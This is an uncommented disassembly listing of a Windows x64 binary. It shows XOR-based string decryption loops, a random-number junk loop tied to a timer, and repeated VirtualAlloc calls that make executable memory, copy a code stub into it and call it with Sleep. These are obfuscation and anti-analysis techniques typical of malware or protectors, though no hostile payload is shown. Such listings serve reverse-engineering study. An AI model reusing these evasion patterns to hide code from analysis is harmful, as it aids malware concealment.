add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x140237770
xorps xmm0, xmm0
movups xmmword [rsp + 0x408], xmm0
mov qword [rsp + 0x418], rdi
mov qword [rsp + 0x420], rdi
lea rax, [rsp + 0x690]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402377f0
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x408]
call fcn.1402071a0
lea rcx, [rsp + 0x408]
call fcn.1401fab60
movups xmm0, xmmword [0x1402770c0]
movups xmmword [rsp + 0x880], xmm0
movups xmm1, xmmword [str.__:____6__6__]
movups xmmword [rsp + 0x890], xmm1
movups xmm0, xmmword [0x1402770e0]
movups xmmword [rsp + 0x8a0], xmm0
movups xmm1, xmmword [0x1402770f0]
movups xmmword [rsp + 0x8b0], xmm1
movups xmm0, xmmword [0x140277100]
movups xmmword [rsp + 0x8c0], xmm0
movups xmm1, xmmword [0x140277110]
movups xmmword [rsp + 0x8d0], xmm1
movups xmm0, xmmword [str.o___o_y1Et]
movups xmmword [rsp + 0x8e0], xmm0
movups xmm1, xmmword [0x140277130]
movups xmmword [rsp + 0x8f0], xmm1
mov eax, dword [0x140277140]
mov dword [rsp + 0x900], eax
movzx eax, word [0x140277144]
mov word [rsp + 0x904], ax
mov r9d, edi
cmp ebx, 2
jl 0x140237a59
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x884]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x80
jl 0x1402378d0
cmp r9d, 0x86
jge 0x140237ac4
movsxd rax, r9d
lea r10, [rsp + 0x880]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x86
jl 0x140237a70
xorps xmm0, xmm0
movups xmmword [rsp + 0x600], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x610], xmm1
lea rax, [rsp + 0x880]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140237ae6
lea rdx, [rsp + 0x880]
lea rcx, [rsp + 0x600]
call fcn.1402071a0
nop
lea rcx, [rsp + 0x600]
call fcn.1401f8d00
nop
lea rcx, [rsp + 0x600]
call fcn.140240fd0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x96c4], 0xffffffff
mov dword [rsp + 0x8344], eax
mov edx, 1
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x8344], eax
inc rdx
cmp rdx, 0x270
jb 0x140237b40
mov dword [rsp + 0x8340], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xbb0]
call fcn.1401f17b0
mov r15, qword [rsp + 0xbb0]
add r15, 0x5f5e100
mov ebx, 1
lea rcx, [rsp + 0x7a0]
call fcn.1401f17b0
cmp qword [rax], r15
jge 0x140237d1e
mov r14d, 0x186a0
nop
lea rcx, [rsp + 0x8340]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140237beb
nop dword [rax + rax]
lea rcx, [rsp + 0x8340]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140237bd0
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xbb0], eax
lea rcx, [rsp + 0x8340]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140237c3b
nop
lea rcx, [rsp + 0x8340]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140237c20
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x8340]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140237c8b
nop
lea rcx, [rsp + 0x8340]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140237c70
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x8340]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140237cdb
nop
lea rcx, [rsp + 0x8340]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140237cc0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xbb0]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r14, rbx
jne 0x140237bb0
jmp 0x140237b92
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [str.1_2__8__u]
movups xmmword [rsp + 0x640], xmm0
movups xmm1, xmmword [0x140276d10]
movups xmmword [rsp + 0x650], xmm1
movups xmm0, xmmword [0x140276d20]
movups xmmword [rsp + 0x660], xmm0
movups xmm1, xmmword [0x140276d30]
movups xmmword [rsp + 0x670], xmm1
mov eax, dword [0x140276d40]
mov dword [rsp + 0x680], eax
movzx eax, word [0x140276d44]
mov word [rsp + 0x684], ax
movzx eax, byte [0x140276d46]
mov byte [rsp + 0x686], al
mov r9d, edi
cmp dword [0x14028a090], 2
movabs r14, 0xff00ff00ff00ff00
mov r15, 0xffffffffffffffff
jl 0x140237f43
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x644]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x40
jl 0x140237dc0
cmp r9d, 0x47
jge 0x140237fb1
movsxd rax, r9d
lea r10, [rsp + 0x640]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x47
jl 0x140237f60
xorps xmm0, xmm0
movups xmmword [rsp + 0x620], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x630], xmm1
lea rax, [rsp + 0x640]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140237fd3
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x620]
call fcn.1402071a0
nop
lea rcx, [rsp + 0x620]
call fcn.1401f8d00
nop
lea rcx, [rsp + 0x620]
call fcn.140240fd0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1a0], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x14028e110]
test rcx, rcx
je 0x14023809e
mov r8, rdi
lea rax, [0x140242e50]
cmp rcx, rax
je 0x14023808d
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x28e110]
test rcx, rcx
jne 0x140238074
jmp 0x14023809e
mov r8, qword [rsi + r8*8 + 0x2903f0]
test r8, r8
jne 0x140238196
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402380c7
mov r8, rdi
jmp 0x14023816e
lea rax, [0x140242e50]
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402380e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
lea rcx, [0x140242e50]
mov qword [rsi + rax*8 + 0x28e110], rcx
mov qword [rsi + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x1a0]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
mov qword [rsp + 0xbd0], rax
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
movups xmm0, xmmword [0x1402769e8]
movups xmmword [rsp + 0x500], xmm0
movups xmm1, xmmword [0x1402769f8]
movups xmmword [rsp + 0x510], xmm1
movups xmm0, xmmword [0x140276a08]
movups xmmword [rsp + 0x520], xmm0
movsd xmm0, qword [0x140276a18]
movsd qword [rsp + 0x530], xmm0
movzx eax, byte [0x140276a20]
mov byte [rsp + 0x538], al
mov r9d, edi
cmp dword [0x14028a090], 2
jl 0x1402383b4
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x504]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x140238231
cmp r9d, 0x39
jge 0x140238421
movsxd rax, r9d
lea r10, [rsp + 0x500]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x39
jl 0x1402383d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x540], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x550], xmm1
lea rax, [rsp + 0x500]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140238443
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x540]
call fcn.1402071a0
nop
lea rcx, [rsp + 0x540]
call fcn.1401f8d00
nop
lea rcx, [rsp + 0x540]
call fcn.140240fd0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1a8], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x14028e110]
test rcx, rcx
je 0x14023850e
mov r8, rdi
lea rax, [0x140242e50]
cmp rcx, rax
je 0x1402384fd
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x28e110]
test rcx, rcx
jne 0x1402384e4
jmp 0x14023850e
mov r8, qword [rsi + r8*8 + 0x2903f0]
test r8, r8
jne 0x140238606
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140238537
mov r8, rdi
jmp 0x1402385de
lea rax, [0x140242e50]
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140238550
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
lea rcx, [0x140242e50]
mov qword [rsi + rax*8 + 0x28e110], rcx
mov qword [rsi + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x1a8]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
mov qword [rsp + 0xbd0], rax
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
movups xmm0, xmmword [0x140277d48]
movups xmmword [rsp + 0x6e0], xmm0
movups xmm1, xmmword [0x140277d58]
movups xmmword [rsp + 0x6f0], xmm1
movups xmm0, xmmword [0x140277d68]
movups xmmword [rsp + 0x700], xmm0
movsd xmm0, qword [0x140277d78]
movsd qword [rsp + 0x710], xmm0
mov r9d, edi
cmp dword [0x14028a090], 2
jl 0x14023881b
mov edx, edi
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x6e4]
nop word [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1402386a0
jmp 0x14023887c
lea r10, [rsp + 0x6e0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140238830
xorps xmm0, xmm0
movups xmmword [rsp + 0x580], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x590], xmm1
lea rax, [rsp + 0x6e0]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1402388a0
lea rdx, [rsp + 0x6e0]
lea rcx, [rsp + 0x580]
call fcn.1402071a0
nop
lea rcx, [rsp + 0x580]
call fcn.1401f8d00
nop
lea rcx, [rsp + 0x580]
call fcn.140240fd0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1ac], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x14028e110]
test rcx, rcx
je 0x14023896b
mov r8, rdi
lea rax, [0x140242e50]
cmp rcx, rax
je 0x14023895a
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x28e110]
test rcx, rcx
jne 0x140238941
jmp 0x14023896b
mov r8, qword [rsi + r8*8 + 0x2903f0]
test r8, r8
jne 0x140238a57
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140238994
mov r8, rdi
jmp 0x140238a2f
lea rax, [0x140242e50]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402389a1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
lea rcx, [0x140242e50]
mov qword [rsi + rax*8 + 0x28e110], rcx
mov qword [rsi + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x1ac]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
mov qword [rsp + 0xbd0], rax
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
movups xmm0, xmmword [str._14_k_5_____3_rC]
movups xmmword [rsp + 0x718], xmm0
movups xmm1, xmmword [0x140277f60]
movups xmmword [rsp + 0x728], xmm1
movups xmm0, xmmword [0x140277f70]
movups xmmword [rsp + 0x738], xmm0
movsd xmm0, qword [0x140277f80]
movsd qword [rsp + 0x748], xmm0
mov r9d, edi
mov ebx, dword [0x14028a090]
cmp ebx, 2
